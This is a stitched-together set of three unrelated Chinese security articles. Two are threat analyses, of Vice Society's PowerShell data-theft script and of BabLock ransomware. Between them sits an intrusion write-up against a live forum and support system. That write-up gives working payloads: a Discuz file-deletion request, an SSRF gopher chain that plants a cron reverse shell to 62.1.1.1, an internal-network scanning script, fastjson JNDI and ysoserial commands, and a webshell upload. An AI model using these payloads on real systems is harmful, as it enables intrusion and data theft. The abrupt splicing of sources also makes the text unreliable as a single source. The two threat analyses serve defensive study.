Vice Society 是一種勒索軟件，採用強大的加密算法來鎖定存儲在受感染系統上的數據Vice Society 是一個相對較新的惡意軟件，於2021 年年中首次出現。 在最近一次事件響應（IR）活動中，unit42團隊發現，Vice Society勒索軟件組織使用自定義的Microsoft PowerShell（PS）腳本從受害者網絡中竊取數據。我們將對所使用的腳本進行分解，解釋每個函數是如何工作的，以便了解這種數據竊取方法。 該組織使用多種方法從受害者的網絡中竊取數據。一些使用者會使用外部工具，包括FileZilla、WinSCP和rclone等工具。還有使用者使用LOLBAS（Living off the Land Binaries And Scripts）技術，如PS腳本，通過遠程桌面協議（RDP）複製/粘貼和微軟的Win32 API（例如Wininet.dll調用）。讓我們來看看當使用PS腳本自動執行勒索軟件攻擊的數據洩露階段時會發生什麼。 使用LOLBAS等內置數據洩露方法的攻擊者不需要引入可能被安全軟件或基於人工的安全檢測機制標記的外部工具。這些方法還可以隱藏在一般操作環境中，很容易躲過安全檢測。 例如，PS腳本經常在典型的Windows環境中使用。當攻擊者想要悄無聲息地發起攻擊時，PS代碼通常是首選。 2023年初，unit42團隊發現Vice Society勒索軟件組織使用了一個名為為w1.ps1的腳本從受害網絡中竊取數據。在本例中，腳本是從Windows事件日誌(WEL)中恢復的。具體而言，該腳本是從Microsoft Windows PowerShell/Operational WEL提供程序中發現的事件ID 4104：腳本塊日誌記錄事件中恢復的。 雖然必須在Windows中啟用腳本塊日誌記錄才能記錄所有腳本塊，但Microsoft默認情況下使用一些未記錄的後端魔法來記錄其認為是惡意的事件。因此，即使在腳本塊日誌記錄尚未完全啟用的環境中，事件ID 4104事件也可能對你的分析有用。 unit42研究人員看到了使用以下PS命令執行的腳本： 此腳本調用使用統一資源名稱（URN）路徑中的本地域控制器（DC）IP地址（如上面的[redected_IP]所示），指定DC上的s$admin共享。請注意，由於腳本是通過客戶端的DC部署的，因此目標計算機可能是攻擊者尚未獲得直接訪問權限的計算機。因此，網絡中的任何端點都可能成為腳本的目標。為PS可執行文件提供-ExecutionPolicy Bypass參數以繞過任何執行策略限制。 該腳本不需要任何參數，因為從網絡複製哪些文件是腳本本身負責的。是的，你沒有看錯：腳本是自動化的，因此可以選擇應該竊取的數據。 腳本分析腳本首先聲明兩個用於受害者識別的常量$id和$token。在我們識別的腳本中，這些值分別被硬編碼為“TEST”和“TEST_1”: 從邏輯上講，這些變量可以設置為更具體的值，以識別實際的受害者。我們不確定這是否真的是一個測試階段，或者這些值是否會簡單地保持在這個測試狀態。 接下來，腳本聲明代碼庫中的重要函數。表1提供了腳本函數的概述。這是按照函數被調用的順序列出的，而不是它們被聲明的順序。 腳本函數概述 下圖概述了函數之間的流程，有助於突出顯示腳本的函數。 w1.ps1腳本的函數圖 起始進程在調用任何聲明的函數之前，腳本會通過Windows Management Instrumentation（WMI）識別系統上安裝的任何驅動器。通過一些簡單的篩選來獲取wmiobject win32_volume的調用提供了一個名為$drives的數組，該數組將包含安裝在計算機上的驅動器列表。然後將找到的每個驅動器路徑分別傳遞給Work()函數。下圖顯示了相關的代碼片段。 腳本的前導碼，用於識別並處理每個掛載卷 在前導碼中採取了以下操作： 1.它創建一個名為$drives的數組，並用主機上掛載的捲列表填充該數組。 win32_volume中的DriveType枚舉引用本地磁盤。有關詳細信息，請參閱Microsoft的Win32_Volume Class文檔。 2.它作為$drive遍歷主機上標識的驅動器，將每個標識的驅動器路徑傳遞給Work()函數。 下圖顯示了這段代碼在隻掛載了一個驅動器的普通Windows主機上可能執行的操作示例。 帶有單個掛載驅動器的主機上的$drives和$drive變量的示例值 對於標識的每個驅動器名稱，前導碼都會調用Work()函數來處理驅動器上的目錄。 Work()函數每次調用Work()時，函數都會作為$disk接收一個驅動器路徑，用於目錄搜索和處理。下圖顯示了Work()函數的開頭。 Work()函數的開頭 在上述代碼中採取以下操作： 1.它創建$folders和$jobs數組； 2.它創建$store元組，用於存儲上面創建的數組； 3.它聲明了Show()函數。 下圖顯示了Work()函數的其餘代碼，它位於Show()函數下方。 Work()函數的剩餘部分 在上述代碼中採取了以下操作： 4.它將當前卷字符串傳遞給Get-ChildItem，並篩選出一系列31個潛在的目錄路徑，以避免處理基於系統或應用程序的文件。然後，它將每個根目錄名稱傳遞給Show()函數以進行進一步處理。 有關被忽略的根目錄的列表，請參見附錄。 5.將根目錄文件夾傳遞給Show()函數後，Work()函數遞歸地搜索根目錄中的子目錄。與前面的篩選類似，與排除列表不匹配的子目錄會被發送到Show()函數進行處理。 有關被忽略的根子目錄的列表，請參見附錄。 6.Show()函數創建PowerShell作業以方便竊取數據。該函數一次處理5個目錄組。這部分代碼可以起到保護作用，以確保處理所有剩餘的文件夾分組。 例如，如果總共識別了212個目錄，這段代碼將確保處理最後兩個目錄。 Show() 函數Show()函數的作用是接收要處理的目錄名。 Show()函數的概述如下所示 Show()函數的概述 在上述代碼中採取了以下操作： 1.該函數收集提供的目錄名，直到它可以創建一個由5個目錄名組成的分組。一旦向函數提供了5個目錄名，它將它們傳遞給CreateJobLocal()函數以創建PowerShell作業，以便從目錄組中導出數據。 2.該腳本實現了速率限制，因為它一次只希望處理5個目錄組的最多10個作業。如果正在運行的作業超過10個，腳本將休眠5秒鐘，並重新檢查正在運行的作業的數量。 注意：這顯示了在整體腳本設計方面的專業編碼水平。腳本的編寫是為了避免主機的資源被淹沒。造成這種情況的確切原因在於開發者，但該方法與一般的編碼最佳實踐相一致。 CreateJobLocal()函數CreateJobLocal()函數為竊取數據設置了一個多處理隊列。下圖顯示了CreateJobLocal()函數的開頭部分。 CreateJobLocal()函數的概述 在上述代碼中採取了以下操作： 1.它為正在創建的作業創建一個偽隨機名稱。作業名稱將由5個字母字符組成(包括小寫和大寫字符)。 例如，以下是腳本在隨機調試會話中生成的五個作業名稱：iZUIb、dlHxF、VCHYu、FyrCb和GVILA。 2.它設置一個PowerShell作業，該作業具有一個代碼結構，該代碼結構將是腳本中此時創建的腳本塊。 此時，在CreateJobLocal()中聲明了fill()函數。我們將很快回到這個問題。首先，我們將繼續處理CreateJobLocal()函數的剩餘部分。下圖顯示了這段代碼的下一部分。 屬於CreateJobLocal()函數的附加代碼 下面是上述CreateJobLocal()代碼庫的描述： 3.它為要竊取的文件創建一個$fileList數組，然後循環遍歷當前組中的目錄(如上所述，它通常以五個為一組處理目錄)。 4.它設置名為$include和$ excluded的包含和排除數組。 5.有關這些數組的值列表，請參見附錄。 它循環遍歷給定目錄組中的目錄，並使用正則表達式根據$include數組中硬編碼的值篩選要包含的文件夾。 此時，函數使用excludes來進一步篩選應該被盜取的文件。 CreateJobLocal()函數的剩餘部分 以下是剩餘CreateJobLocal()代碼庫的描述： 1.如果某個目錄與包含列表匹配，則它會查找該目錄中沒有在排除列表中找到的擴展名、大於10 KB且具有擴展名的所有文件。 注意：測試證實，該腳本會忽略大小小於10 KB的文件和沒有文件擴展名的文件。 2.即使一個目錄沒有通過正則表達式匹配包含列表，也會檢查目錄的文件，以確定是否應將其包含在竊取內容中。 這看起來是文件匹配包含列表的第二次嘗試，因為比較是使用Get-ChildItem cmdlet的-Include參數完成的，而不是在上面第5步中執行正則表達式比較的-Like比較。 它循環遍歷標識為竊取的文件，並調用fill()函數來竊取每個文件。 下圖顯示了在我們的惡意軟件分析虛擬機（VM）中運行時選擇的第一組五個文件夾的腳本。這些值將因運行腳本的計算機而異。我們只是想展示腳本始在測試環境中搜索數據的位置。 該腳本的示例運行顯示了標識為竊取的前5個目錄 Fill()函數fill()函數執行實際的數據竊取。此函數用於構建將用於竊取文件的URL，並使用System.Net.Webclient對象通過HTTP POST事件使用對象的.UploadFile方法執行實際的竊取。下圖顯示了fill()函數。 fill()函數的概述 在上述代碼中採取了以下操作： 1.雖然從技術上講不是實際的fill()函數的一部分，但在每個文件上傳URL中都使用了整個腳本前兩行的變量$id和$token。 2.它構建了一個$prefix值，其中包括腳本中兩個最重要的攻擊指標（IoC）。 2.1 IP地址 這是攻擊者的基礎設施/服務器IP地址，文件將被上傳到該IP地址。 2.2網絡端口號 這個端口號可以是80443，也可以是一個自定義端口號，例如通常與臨時端口範圍相關聯的端口號。 3.它實例化一個WebClient對象，該對象將用於執行基於HTTP的數據竊取。 4.它構建了一個$fullPath變量，這是正在上傳文件的完整文件路徑。 注意：這一點很重要，因為這意味著每個HTTPPOST事件都將包括文件的完整路徑。如果你能夠通過此路徑獲得源主機的IP地址，那麼你將能夠在事後構建一個被竊取文件的列表。 5.它通過組合$prefix、$token、$id和$fullPath變量來構建文件上傳的完整URL $uri。 6.它調用WebClient.UploadFile()方法來上傳文件。 注意：這將創建一個HTTP POST事件。 HTTP活動示例為了查看腳本的POST請求在攻擊者的web服務器上是什麼樣子，研究人員在本地虛擬機上設置了一個服務器，引導他們的惡意軟件分析機器使用該虛擬機作為其網關並運行腳本。下面是腳本在測試環境中執行時創建的三個POST請求示例。 請注意，上面的192.168.42[.]100地址是研究人員使用的測試客戶端虛擬機的IP。在現實場景中，Vice Society的網絡服務器會在這個位置指示受害者的出口IP地址。 基於以上結果，我們可以獲得關於腳本啟動的HTTP活動的一些重要信息： 1.fullpath POST參數不包括發送文件的驅動器號。 2.該腳本沒有向web服務器提供用戶代理字符串。 如果你的環境中運行了網絡安全監控(NSM)或入侵檢測系統(IDS)(如Zeek)，或者數據包捕獲系統，那麼就可能能夠看到傳出的POST請求。這些傳出的日誌可能以字節為單位顯示請求的長度（重點關注傳出的字節數與總字節數），這有助於確定哪些版本的文件被竊取掉了。 總結Vice Society的PowerShell數據竊取腳本是一個簡單的數據竊取工具。使用多處理和排隊來確保腳本不會消耗太多系統資源。然而，該腳本將重點放在文件擴展名超過10 KB的文件以及符合其包含列表的目錄中，這意味著該腳本不會竊取不符合此描述的數據。 不幸的是，Windows環境中PS腳本的性質使得我們難以預防這種類型的威脅。不過研究人員在檢測中總結了一些提前發現它們的線索和技巧。

主站注册可以发现jsp和php后缀共存，应该是不同路由反代了不同的中间件，找不到啥漏洞。 论坛是Discuz! X3.2 发现Discuz急诊箱。 admin.php 403，uc_server和急诊箱均无弱密码。 在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞，那么前台漏洞呢？主要有任意文件删除，SSRF，uc_server爆破。 首先是任意文件删除。 POST /home.php?mod=spacecp&ac=profile&op=base birthprovince=../../../info.php 然后再POST文件上去，即可删除info.php <formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data"> <input type="file"name="birthprovince" id="file" /> <input type="text"name="formhash" value="017b5107"/> <input type="text"name="profilesubmit" value="1"/> <input type="submit"value="Submit" /></from>这个漏洞虽然危害不低，但对后续渗透没什么用，Discuz很难通过删除文件去install。 再看SSRF。 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107 这是一个不回显的SSRF，只能通过时间延迟来判断。 一，可直接通过http去探测内网，如果ip存活则短延迟(不管端口开没开)，如果ip不存在则长延迟。 二，可以通过302跳转改变协议，ftp，dict，gopher都支持。 三，可以通过ftp协议来探测端口，如果端口开放则长延迟，如果端口关闭则短延迟。 先通过http协议访问我的VPS获取论坛的真实ip。 163.*. *.35.bc.googleusercontent.com(35.*.*.163) 然后尝试盲打本地redis(这里探测本地端口全关，认为不合理，所以直接盲打) gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。 先看清晰的SSRF攻击payload /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107 然后302.php?到data=之间的&要url编码，data=到xx=1.png的所有字符串都进行两次url编码，去bp中发包。 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107 但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。 因此payload只能放在VPS中写死。 <?php $ip=$_GET['ip']; $port=$_GET['port']; $scheme=$_GET['s']; $data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a'; header("Location:$scheme://$ip:$port/$data"); 测试一下打VPS上的redis能否成功 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107 没问题。但实际环境中利用失败了，原因不确定，没有redis或者redis权限不够或者redis有密码都是有可能的。 开始写脚本探测内网，不过并未抱多大希望，其为谷歌云，并不一定有内网。 先生成所有内网ip的*.*.*.1的ip字典 f = open('ip.txt','w') f.write('127.0.0.1') f.write('localhost') for i in range(1,256): ip = '192.168.'+str(i)+'.1' f.write(ip) for i in range(16,32): for ii inrange(1,256): ip = '172.'+str(i)+'.'+str(ii)+'.1' f.write(ip) for i in range(1,256): for ii inrange(1,256): ip = '10.'+str(i)+'.'+str(ii)+'.1' f.write(ip) f.close() 然后通过时间延迟来寻内网ip段，这里由于ip不通的延迟长达7s以上，所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以，所以干脆直接使用gopher攻击redis的payload，万一直接打中了呢。 import requestsimport threading def ssrf(i): url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107' header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip,deflate", "Connection": "keep-alive" } cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"} r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False) if r.elapsed.total_seconds()> 6: timeout = str(i)+'port:'+str(r.elapsed.total_seconds()) print(timeout) else: timeout = str(i)+'port:'+str(r.elapsed.total_seconds()) fo = open('openip.txt','a') fo.write(str(i)+'open\n') fo.close() print(str(i)+'open') print(timeout) def thread(list): name = [] for i in list: th = threading.Thread(target=ssrf,args=(i,)) name.append(th) th.start() for th inname: th.join() folist = open('ip.txt','r')list = []flag = 0for i infolist.readlines(): i = i.replace('\n','') if flag <21: list.append(i) flag = flag+1 else: thread(list) flag = 0 list = [] 只发现一个开放的网关172.30.2.1，再跑此网关上的内网ip，更换ip.txt即可。 结果跑了一天只跑出两个内网ip，172.30.2.1和172.30.2.2，大概率172.30.2.2是它自己，172.30.2.1是云服务器的虚拟网关。 最后再用ftp协议跑它们的端口，脚本自己改改就行了。 大部分都是误报，其实只开了80和443两个端口，所以除非之后发现其他内网ip，否则SSRF是不用指望了。 最后一个uc_server爆破，原理为改XFF头导致图形验证码固定，同样利用失败，详情见https://www.freebuf.com/articles/web/197546.html 论坛告一段落，接下来看看客服系统有啥问题。 /res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f id传参，无法目录穿越。文件上传无法利用，开始目录扫描。 admin登录界面有滑块验证，不过是前端骗人的，后端没用到，尝试爆破无果。 看到/actuator，就知道是spring boot了，使用针对性字典爆破。 /swagger-ui.html为空，/env跳转admin，/heapdump 403。 但鬼使神差的我试了试/heapdump.json 解压出来1G内存文件，使用MemoryAnalyzer将其打开，OQL查询。 由于没有/env配合，只能盲查配置信息，这里写一些我摸索出来的小技巧。 select* from org.springframework.web.context.support.StandardServletEnvironment查配置，注意以Retained Heap(大小)排序，比较方便。 select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"查含password的字符串，这种查法不易找出关联类，但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。 select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))快速查数据库相关信息，发现mysql地址账户密码，不过很遗憾是亚马逊的数据库，默认存在ip白名单，无法远程登录。 select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"发现正在登录的session，替换之后登录到后台。 后台使用wss协议进行实时对话，头像处，客服回复处均无利用点。只发现了一些毒狗的哀嚎。 黑盒测试无果，heapdump中翻找有特征的类名，然后去github搜，发现了一份可能是初始版源码，目标用的是改版，源码不太全。 对不全的代码进行审计，找到一处任意文件读取和一处SSRF。 有了部分源码，知道配置文件位置，读取配置文件 获取数据库配置，当然之前在heapdump内存中已经知道了。获取内网ip，172.x.x.x，写脚本开始跑内网ip，脚本参考Discuz那个。 同理，后续用ftp协议扫描内网端口。不过很可惜，java ssrf一般不支持dict和gopher，论坛和客服又不在同一内网，所以很难攻击内网比如redis。 前面一直没提的是，此客服系统存在管理员后台，不过存在ip白名单限制，访问403，虽然能利用SSRF绕过，但是由于只能发起GET请求，无法尝试登陆。 这两处漏洞依旧无法getshell，我决定去fofa上搜同版本客服系统，然后利用任意文件下载来获取完整的源码。 很幸运，直接碰到一个网站可以读.bash_history，在操作记录中暴露了源码路径，获得war包。 开始审计，SQL方面使用的是jpa1.11.6，基本不存在注入问题，但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml，找到两处使用$的地方。 ScacMapper.xml 经典的mybatis order by注入。位于ScacRepository类的findRule方法，全局搜索调用了此方法的地方。 发现不可控，再看第二处。 ChatMapper.xml 位于AgentService类的findChatService方法，全局搜索。 satislevel参数可控，网站中寻找路由，发现是用来查询历史会话的。 /service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage= SQL注入成功，不过是个布尔盲注，注入较耗时间。 然后发现fastjson版本较低，于是瞄上了fastjson反序列化。 全局搜索parseObject方法，路由中发现两处。IMController和ApiContactsController。 IMController虽然在前台，但涉及到AES解密和定位key，利用起来较为复杂。 所以决定利用ApiContactsController的save方法。 由于通过heapdump登录过客服后台，直接访问save的路由，却尴尬的发现报401 很显然，客服后台和这个接口不在同一体系，但密码应该是通用的，猜测这些接口是给手机app用的，heapdump中曾获取了用户名，于是在ApiLoginController中找到登录接口，开始爆破。当然，也可以利用之前审计出来的SQL注入，不过实在太慢而且不一定解的出来我就先爆破了。 成功获取凭证，访问路由。 这里是个联系人接口，查用GET，增用PUT，改用POST，删用DELETE，只有改才会调用fastjson。所以直接POST fastjson payload就行。 fastjson 1.24以上版本默认关闭autotype，但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。 https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg {"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}} 成功获取dnslog请求，接下来就是用fastjson反序列化getshell就行了吗？ 事情并没有那么简单，之前通过heapdump在内存中看到java版本为1.8.0_242，那么rmi和ldap两个JNDI注入都无法使用，这和实际用marshalsec测试结果一致。本地加载有两种方法，org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过，但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，在实际环境中却没能成功。 我在此处被拦了几个小时，最后发现存在rmi反序列化，链为URL链。注意：rmi注入恶意类和rmi反序列化是不一样的。 rmi注入恶意类(marshalsec)，是连接rmi服务器，rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。 rmi反序列化(ysoserial)，是连接rmi服务器，在和rmi服务器通信的过程中被反序列化攻击了。无版本限制，只需要反序列化链。 如下图，恶意服务器上起一个ysoserial的rmi服务，然后用fastjson去连接之。 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn" 成功获取dns请求，那么我只需要找到一条能够利用的反序列链，就能够getshell。 spring项目一般来说，很难有一条序列化链，因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链，而源码中的jar包满足条件。 详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w 先尝试向/tmp中写文件 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ==" 然后利用任意文件读取确认文件是否被写入。 尝试写webshell，成功getshell 由于其存在负载均衡，可以拿到两台服务器权限，至此渗透完毕。 转载于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg4MTU1MjE5Mg==&mid=2247488972&idx=1&sn=b97d4e2da7059409cb05fe4238f9dbb7

本文會分析一種名為BabLock（又名Rorschach）的勒索軟件，它與LockBit有許多共同的特點。 最近，一種名為BabLock(又名Rorschach)的勒索軟件因其複雜而快速的攻擊鏈而引起轟動，該軟件使用的技術非常有創新性。雖然主要基於LockBit，但也汲取了其他不同勒索軟件部分的功能，並最終組合成為BabLock(檢測為Ransom.Win64.LOCKBIT.THGOGBB.enc)。 LockBit現在已經開始第三次迭代。 我們會在本文中詳細介紹它的攻擊鏈，並分析其可能的起源。 發現過程2022年6月，研究人員發現了一個勒索軟件（後來被證明是BabLock），它使用了一種獨特的附加擴展方式，而不是勒索軟件攻擊中通常使用的“一個樣本，一個擴展”方法，我們發現，攻擊者在針對這種特定感染的固定勒索軟件擴展的頂部添加了從00-99的數值增量。因此，即使在一台受感染的計算機上，一次執行也可能產生多個擴展變體。 該勒索軟件的獨特特徵是顯示擴展的數值增量 調查發現，勒索軟件總是以多組件包的形式部署，主要由以下文件組成： 加密的勒索軟件文件config.ini； 惡意側載DLL (DarkLoader, config.ini解密器和勒索軟件注入器)； 用於加載惡意DLL的非惡意可執行文件； 使用正確密碼執行非惡意二進製文件的CMD文件。 在一個感染實例中發現的主要勒索軟件包 DarkLoader DLL將檢查特定的命令，特別是--run，它會檢查啟動加密過程所需的正確的4位密碼。雖然它對config.ini本身的內容的解包意義不大，但如果提供正確，DLL將執行基本的勒索軟件例程。 如果在命令行中添加了正確的密碼，勒索軟件將繼續進行整個加密過程 一旦DLL組件被非惡意可執行文件加載，它將立即在當前可執行文件的路徑中查找config.ini文件。一旦找到它，DLL將解密config.ini，然後用一組特定的命令行執行notepad.exe。 在這個異常的活動中，研究人員發現了一些顯著且一致的模式： 主要的勒索軟件二進製文件通常以加密的config.ini文件的形式發送； DarkLoader是通過使用合法可執行文件的DLL側加載來執行的； config.ini文件由專門為這些活動設計的自定義加載程序解密（檢測為Trojan.Win64.DarkLoader）； 在同一受感染的計算機中，BabLock為每個文件的擴展名字符串附加一個從00到99的隨機數（例如，extn00-extn99作為同一感染中的擴展名）； 任何DarkLoader DLL都可以用來解密任何加密的勒索軟件config.ini，不需要特定的二進製配對。 DarkLoader DLL使用Direct SysCall API來選擇幾個但重要的調用，以避免API讀取分析。解密後的BabLock勒索軟件總是使用VMProtect進行反虛擬化。 BabLock是通過掛鉤API Ntdll的攻擊注入加載的。 RtlTestBit跳轉到包含勒索軟件代碼的內存。 針對不同攻擊的密碼有幾種變體，但它們都在一定的範圍內。 提供給notepad.exe的命令行參數，用於在最近的攻擊中加載和執行勒索軟件 DLL使用幾個直接的SysCall指令來避免API讀取 notepad.exe文件被注入到RtlTestBit的API調用線程中，該線程已被修復/掛起以跳轉到惡意例程 精妙的攻擊技術在2022年6月首次發現BabLock時，研究人員搜索了類似的文件，發現這些文件的最早記錄可以追溯到2022年3月。在發現這一點後，研究人員想弄清楚它是如何逃避檢測這麼長時間的。 自2022年6月以來，只有少數幾起涉及該勒索軟件的記錄事件，包括最近的一起。由於數量較少，截至撰寫本文時，還沒有涉及地區、行業或受害者資料的統計數據。 BabLock勒索軟件相關事件 然而，由於其顯著特徵，與BabLock相關的攻擊可以很容易地識別。如上所述，在每次文件加密後，勒索軟件都會在其硬編碼擴展名中添加一個介於00-99之間的隨機數字符串，這導致相同的勒索軟件擴展多達100種不同的變體。 顯示將00-99之間的隨機數字符串附加到加密文件的代碼片段 它還有一個相當複雜的執行例程： 它使用特定的數字代碼來正確執行； 它將包拆分為多個組件； 它將實際有效負載拆解並隱藏到加密文件中； 它使用普通應用程序作為加載程序； 最後，BabLock使用公開可用的工具作為其感染鏈的一部分。我們發現最常用的工具如下： Chisel-傳輸控制協議（TCP）和用戶數據報協議（UDP）通道； Fscan-一個掃描工具； 通過使用這兩個工具，再加上擁有設置活動目錄(AD)組策略的功能的BabLock/LockBit，攻擊者可以毫不費力地在網絡中翱翔。 BabLock與LockBit等勒索軟件的異同根據調查，BabLock使用的大多數例程與Lockbit（2.0）的關係密切。除此之外，它還與Babuk、Yanloowang等勒索軟件存在相似之處。 最初，由於勒索通知的相似性，我們懷疑它與DarkSide勒索軟件有關。然而，與DarkSide勒索軟件不同，BabLock通過執行以下命令行來刪除卷影副本： 因此，研究人員立即排除了這種關係，因為它不同於DarkSide的操作，即通過Windows Management Instrumentation（WMI）和PowerShell刪除卷影副本（這在技術上更複雜，很難通過標準監控工具檢測到）。 勒索軟件二進製文件解密並執行命令行以刪除卷影副本 Lockbit(2.0)的一個共同特徵是使用相同的組策略來生成桌面放置路徑。同樣，使用vssadmin刪除卷影副本也是LockBit攻擊中大量使用的例程（儘管也是許多現代勒索軟件的常見例程）。儘管如此，這種相似之處還是不可思議的。此外，它運行相同的命令來為AD執行GPUpdate。因此，該勒索軟件的檢測仍屬於LockBit家族。 將BabLock生成桌面放置路徑的組策略（左）與LockBit的組策略進行比較（右） BabLock看起來像是一個由不同的已知勒索軟件家族拼接而成的怪物。 BabLock與其他勒索軟件家族的相似之處 總結研究人員發現BabLock時已經是其第三個迭代版了。然而，由於其大部分結構仍然類似於Lockbit v2.0，我們推測這可能來自另一個分支機構或組織。 LockBit v3.0發布近一年來，即使在最近的攻擊中，研究人員也沒有發現BabLock的有效負載發生任何變化，這進一步說明它與實際的LockBit組織既沒有聯繫。據分析，BabLock背後的攻擊者成功地利用了LockBit v2.0的許多基本功能，並添加了不同勒索軟件家族功能，以創建他們自己的獨特變體，這些變體可能在未來進一步增強。 安全建議如下： 對資產和數據進行盤點； 識別授權和未經授權的設備和軟件； 審計事件和事件日誌； 管理硬件和軟件配置； 僅在必要時授予員工角色的管理權限和訪問權限； 監控網絡端口、協議和服務； 建立只執行合法應用程序的軟件許可列表； 實施數據保護、備份和恢復措施； 啟用多因素身份驗證(MFA)； 將最新版本的安全解決方案部署到系統的所有層，包括電子郵件、端點、web和網絡； 注意攻擊的早期跡象，例如係統中存在可疑工具； 實施多方面的方法可以幫助組織保護其係統（如端點、電子郵件、web和網絡）的潛在入口點。

